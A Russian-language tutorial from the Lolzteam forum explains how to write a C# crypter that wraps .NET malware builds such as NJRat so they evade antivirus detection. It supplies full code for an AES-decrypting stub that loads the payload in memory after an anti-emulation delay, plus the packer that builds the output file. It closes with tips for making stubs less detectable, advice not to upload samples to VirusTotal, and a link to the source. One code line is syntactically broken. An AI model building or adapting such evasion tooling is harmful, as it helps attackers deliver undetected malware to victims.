Добавить в корзинуПозвонить
Найти в Дзене
Lolzteam

Обходим антивирусы (криптор .NET-приложений)

Как многим известно, билды различных малварей (особенно публичных) имеют большой скантайм детект. Далее в статье мы разберёмся в этой тематике и создадим собственный простой криптор .NET приложений на языке С# . Скантайм — сигнатурный детект, который вешают антивирусы на ваш файл. Например, Gen-детекты. Рантайм — детект при запуске файла. Своего рода поведенческая сигнатура. Например, NJRat копирует себя в %TEMP%, создает
свою копию в папке автозапуска, но эта модель поведения занесена в базы антивирусов. Стаб - небольшая программа, отвечающая за запуск шифрованного файла, антиэмуляцию и т.д. Наша задача — убрать сигнатуры и изменить поведение файла. Другими словами мы напишем оболочку для нашего файла. Стаб Для начала напишем стаб. Структура стаба: Алгоритм работы стаба: Нашим словом-разделителем будет "keeeek". Приступим к написанию кода. Открываем Visual Studio, создаем консольное приложение на .NET 4.0. Первым делом добавим функцию расшифровки: public static byte[] Decrypt
Оглавление

Как многим известно, билды различных малварей (особенно публичных) имеют большой скантайм детект. Далее в статье мы разберёмся в этой тематике и создадим собственный простой криптор .NET приложений на языке С# .

Скантайм — сигнатурный детект, который вешают антивирусы на ваш файл. Например, Gen-детекты.

Рантайм — детект при запуске файла. Своего рода поведенческая сигнатура. Например, NJRat копирует себя в %TEMP%, создает
свою копию в папке автозапуска, но эта модель поведения занесена в базы антивирусов.

Стаб - небольшая программа, отвечающая за запуск шифрованного файла, антиэмуляцию и т.д.

Наша задача — убрать сигнатуры и изменить поведение файла. Другими словами мы напишем оболочку для нашего файла.

Стаб

Для начала напишем стаб.

Структура стаба:

  1. Сам стаб.
  2. Слово-разделитель.
  3. Ключ расшифровки.
  4. Слово-разделитель.
  5. Шифрованные данные.

Алгоритм работы стаба:

  1. Ищем слово-разделитель в файле.
  2. Получаем ключ.
  3. Ищем слово-разделитель в файле.
  4. Получаем шифрованные данные.
  5. Расшифровываем данные (base64 -> byte[] -> Decrypt() -> byte[]).
  6. Загружаем и выполняем сборку.

Нашим словом-разделителем будет "keeeek".

Приступим к написанию кода.

Открываем Visual Studio, создаем консольное приложение на .NET 4.0.

-2

Первым делом добавим функцию расшифровки:

public static byte[] Decrypt(byte[] input, string key) {
PasswordDeriveBytes pdb =
new PasswordDeriveBytes(key,
new byte[] {
0x43,
0x87,
0x23,
0x72
});
MemoryStream ms = new MemoryStream();
Aes aes = new AesManaged();
aes.Key = pdb.GetBytes(aes.KeySize / 8);
aes.IV = pdb.GetBytes(aes.BlockSize / 8);
CryptoStream cs = new CryptoStream(ms,
aes.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(input, 0, input.Length);
cs.Close();
return ms.ToArray();
}

Переходим к Main. Ставим рандомную задержку (5-20 секунд):

Thread.Sleep(new Random(Environment.TickCount).Next(5000, 20000));

Получаем в строки необходимые данные:

string data = File.ReadAllText(Assembly.GetEntryAssembly().Location);
string key = new Regex("keeeek.*keeeek").Matches(data[0].Value.Replace("keeeek", "");
string file = Regex.Split(data, "keeeek")[2];

Далее загрузим расшифрованную сборку:

Assembly assembly =
Assembly.Load(Decrypt(Convert.FromBase64String(file), key));
assembly.EntryPoint.Invoke(null, new object[] { new string[] { } });

Учтите, что Main может не принимать аргументов вообще!

В настройках проекта ставим конфигурацию Release и платформу x86, тип выходных данных - приложение Windows. Компилируем проект.

-3

На этом со стабом покончили. Далее идет самая простая часть — написание самого криптора.

Криптор

Алгоритм работы криптора:

  1. Выбираем файл для крипта.
  2. Шифруем файл и конвертируем его в Base64 строку.
  3. Записываем стаб, слово-разделитель, ключ, слово-разделитель, base64 строку.

Создаем приложение WindowsForms, кидаем на него кнопку:

-4

Дважды жмём на неё и пишем в методе следующий код:

OpenFileDialog op = new OpenFileDialog();
op.ShowDialog();

Далее инициализируем переменные:

string filename = op.FileName; // Имя файла

byte[] stub = File.ReadAllBytes("stub.exe"); // Имя стаба - кладем в папку с критором

string key = Path.GetRandomFileName().Split('.')[0]; // Рандомный ключ

byte[] encrypted = Encrypt(File.ReadAllBytes(filename), key); // Шифрованный файл

byte[] base64 =
Encoding.UTF8.GetBytes(Convert.ToBase64String(encrypted)); // Получаем шифрованный файл в Base64 строку

Теперь, когда все данные получены, запишем всё в новый файл:

FileStream fs = new FileStream("output.exe", FileMode.CreateNew, FileAccess.Write);
fs.Write(stub, 0, stub.Length);
fs.Write(Encoding.UTF8.GetBytes("keeeek"), 0, Encoding.UTF8.GetBytes("keeeek").Length);
fs.Write(Encoding.UTF8.GetBytes(key), 0, Encoding.UTF8.GetBytes(key).Length);
fs.Write(Encoding.UTF8.GetBytes("keeeek"), 0, Encoding.UTF8.GetBytes("keeeek").Length);
fs.Write(base64, 0, base64.Length);
fs.Close();

Добавляем функцию шифрования:

public static byte[] Encrypt(byte[] input, string key) {
PasswordDeriveBytes pdb =
new PasswordDeriveBytes(key,
new byte[] {
0x43,
0x87,
0x23,
0x72
});
MemoryStream ms = new MemoryStream();
Aes aes = new AesManaged();
aes.Key = pdb.GetBytes(aes.KeySize / 8);
aes.IV = pdb.GetBytes(aes.BlockSize / 8);
CryptoStream cs = new CryptoStream(ms,
aes.CreateEncryptor(), CryptoStreamMode.Write);
cs.Write(input, 0, input.Length);
cs.Close();
return ms.ToArray();
}

Ну вот и всё, наш криптор готов.

Кладём стаб к криптору и начинаем тестировать.

-5

Как чистить стабы?

  1. Изменять ключевое слово.
  2. Изменять название переменных, их длину, добавлять мусорный код.
  3. Накрыть стаб каким-либо обфускатором (приведение исходного текста или исполняемого кода программы к виду, сохраняющему её функциональность, но затрудняющему анализ, понимание алгоритмов работы и модификацию при декомпиляции).
  4. Добавить иконку, изменить информацию о файле и т.п.
  5. Изменять алгоритм работы стаба.

После добавления в стаб мусорного кода, информации из другого файла и обфускации стаба сверху получился следующий детект:

-6

Я думаю всем понятно, что сканировать стабы и/или криптованные билды на VirusTotal и его аналогах не нужно.


Исходники программы:
https://github.com/onek1lo/Simple-Crypter

Lolzteam — форум социальной инженерии.